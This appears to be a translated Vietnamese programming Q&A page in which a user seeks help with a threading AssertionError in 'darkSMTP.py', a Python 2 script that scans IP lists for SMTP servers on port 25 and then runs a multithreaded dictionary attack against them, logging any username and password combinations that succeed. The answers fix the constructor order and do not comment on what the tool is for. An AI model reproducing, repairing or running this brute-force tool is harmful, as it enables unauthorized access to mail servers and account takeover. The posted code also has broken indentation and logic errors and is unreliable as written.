2015-09-27 14 views
7

Tôi thấy khó khăn để giải quyết các lỗi sau với chương trình, tôi sẽ đánh giá cao một số đầu vào.Python: Lỗi xác nhận, "không được gọi là"

Mục tiêu của chương trình là thực hiện quét SMTP. Người dùng nhập địa chỉ IP đích, tên người dùng, mật khẩu và số luồng để phân bổ cho quá trình quét.

Traceback (most recent call last): 
File "/home/user/Desktop/darkSMTP.py", line 133, in <module> 
    thread = myThread(i, "Thread " + str(i), i);  
    File "/home/user/Desktop/darkSMTP.py", line 100, in __init__ 
    self.name = name 
    File "/usr/lib/python2.6/threading.py", line 669, in name 
    assert self.__initialized, "Thread.__init__() not called" 
AssertionError: Thread.__init__() not called 

code đang dưới đây:

import threading, time, random, sys, smtplib, socket 
from smtplib import SMTP 
from copy import copy 
from optparse import OptionParser 

usage= "./%prog -i <iplist> -t <threads> -u <userlist> -p <passlist>" 
usage = usage+"\nExample: ./%prog -i ips.txt -t 8 -u user.txt -p pass.txt" 
parser = OptionParser(usage=usage) 
parser.add_option("-i", 
        action="store", dest="ips", 
        help="IP list for scanning") 
parser.add_option("-t", type="int", 
        action="store", dest="threads", 
        help="Threads for processing") 
parser.add_option("-u", 
        action="store", dest="users", 
        help="List of usernames") 
parser.add_option("-p", 
        action="store", dest="passes", 
        help="List of passwords") 
(options, args) = parser.parse_args() 

def timer(): 
     now = time.localtime(time.time()) 
     return time.asctime(now) 

if len(sys.argv) != 9: 
    parser.print_help() 
    sys.exit(1) 

i = 1 
port = 25 
threads = options.threads 
file = options.ips 
users = options.users 
passes = options.passes 
completed = [] 
threaders = [] 
logger = open('darkSMTP.txt','w') 
ipfile = open(file,'r') 
print "[+] Warming up...ok"; 
lines = ipfile.readlines() 
print "[+] IP's loaded:",len(lines); 
print "[+] Users loaded:",len(users) 
print "[+] Passwords loaded:",len(passes) 
ipfile.close(); 
eachThread = len(lines)/int(threads); 
print "[+] IP's per thread:",eachThread; 

class myThread (threading.Thread): 
    def __init__(self, threadID, name, counter): 
     self.threadID = threadID 
     self.name = name 
     self.counter = counter 
     threading.Thread.__init__(self) 
    def run(self): 
     print "[+] Starting " + self.name 
     connect(self.name, self.counter, eachThread, self.threadID) 

def connect(threadName, delay, counter, threadID): 
    start = threadID * counter 
     file = open(options.ips,'r') 
     data = file.readlines() 
    while counter: 
     if 0: 
       thread.exit() 
     s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
     s.settimeout(2) 
     try: 
        connect=s.connect((data[start-counter],port)) 
       print "[+] SMTP server on: " + data[start-counter], 
      print "[+] Server added to output file!" 
      logger.write(data[start-counter]) 
      if s.recv(1024): 
       completed.append(data[start-counter].rstrip()) 
     except socket.timeout: 
      print "[-] Server non-existant: " + data[start-counter].rstrip() 
      except socket.error: 
        print "[+] Server exists! " + data[start-counter].rstrip(); 
      print "[-] But it's not SMTP" 
      s.close() 
     time.sleep(delay) 
     counter -= 1 

while (i < int(threads + 1)): 
    thread = myThread(i, "Thread " + str(i), i);  
    threaders.append(thread) 
    i += 1 
    thread.start() 

for t in threaders: 
    t.join() 

print "\n--- Found & logged all SMTP servers in range ---\n" 
print "---------------------------------------------------" 
print "[+] Starting dictionary attack for each SMTP server" 
print "---------------------------------------------------\n" 

try:  
    helo = smtplib.SMTP(sys.argv[1]) 
    name = helo.helo() 
    helo.quit() 
except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException): 
    name = "[-] Server doesn't support the Helo cmd" 

try: 
    users = open(users, "r").readlines() 
except(IOError): 
    print "Error: Check your userlist path\n" 
    sys.exit(1) 

try: 
    words = open(passes, "r").readlines() 
except(IOError): 
    print "Error: Check your wordlist path\n" 
    sys.exit(1) 

wordlist = copy(words) 
def reloader(): 
    for word in wordlist: 
     words.append(word) 

def getword(): 
    lock = threading.Lock() 
    lock.acquire() 
    if len(words) != 0: 
     value = random.sample(words, 1) 
     words.remove(value[0]) 
    else: 
     reloader() 
     value = random.sample(words, 1) 
     words.remove(value[0]) 
     users.remove(users[0]) 
    lock.release() 
    return value[0][:-1], users[0][:-1] 

class Worker(threading.Thread): 
    def __init__(self): 
      threading.Thread.__init__(self) 
    def run(self): 
     value, user = getword() 
     for ip in completed: 
      print "-"*12 
      print "[+] IP: "+ip 
      try: 
       print "User:",user,"Password:",value 
       smtp = smtplib.SMTP(ip) 
       smtp.login(user, value) 
       print "\t\n[!] Login successful:",user, value 
       logger.write("[!] Found: " + ip + " " + str(user) + ":" + str(value) + "\n") 
       smtp.quit() 
       sys.exit(2) 
      except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: 
       pass 

for i in range(len(words)*len(users)): 
    work = Worker() 
    work.start() 
    threaders.append(work) 
    time.sleep(1) 

for t in threaders: 
    t.join() 

logger.close() 

Cảm ơn

+2

Bạn đã thử gọi hàm dựng siêu 'threading.Thread .__ init __ (self)' trước khi khởi tạo bất kỳ thuộc tính nào khác? Tôi biết nó có vẻ kỳ quặc, nhưng tôi nhớ đã vấp phải vấn đề này rất giống nhau trong quá khứ .... –

+0

Hey, user3423572, bạn đang ở đâu ??????? –

Trả lời

8

constructor của bạn của lớp MyThread phải:

class myThread (threading.Thread): 
    def __init__(self, threadID, name, counter): 
     threading.Thread.__init__(self, name=name) 
     self.threadID = threadID 
     self.name = name 
     self.counter = counter 
    def run(self): 
     print("[+] Starting " + self.name) 
     connect(self.name, self.counter, eachThread, self.threadID) 

Xin vui lòng, chú ý tại threading.Thread.__init__(self, name=name) sau __init__. Bạn phải gọi hàm tạo của lớp cơ sở trước khi cố đặt tên.

+0

Tôi nghĩ rằng super() được ưu tiên khi gọi hàm tạo của lớp cơ sở. Ngoài ra, bạn đang gán thuộc tính name hai lần. – mnencia

3

Bạn phải gọi __init__() trước khi thử đặt tên. Thread.name là thuộc tính, không phải thuộc tính thông thường, và setter của nó kiểm tra đối tượng đã được khởi tạo. Ngoài ra, bạn không cần chỉ định tên theo cách thủ công, vì Threading.__init__ đã có thông số tên. Vì vậy:

class myThread(threading.Thread): 
    def __init__(self, threadID, name, counter): 
     super(myThread, self).__init__(name=name) 
     self.threadID = threadID 
     self.counter = counter 
    #... 
Các vấn đề liên quan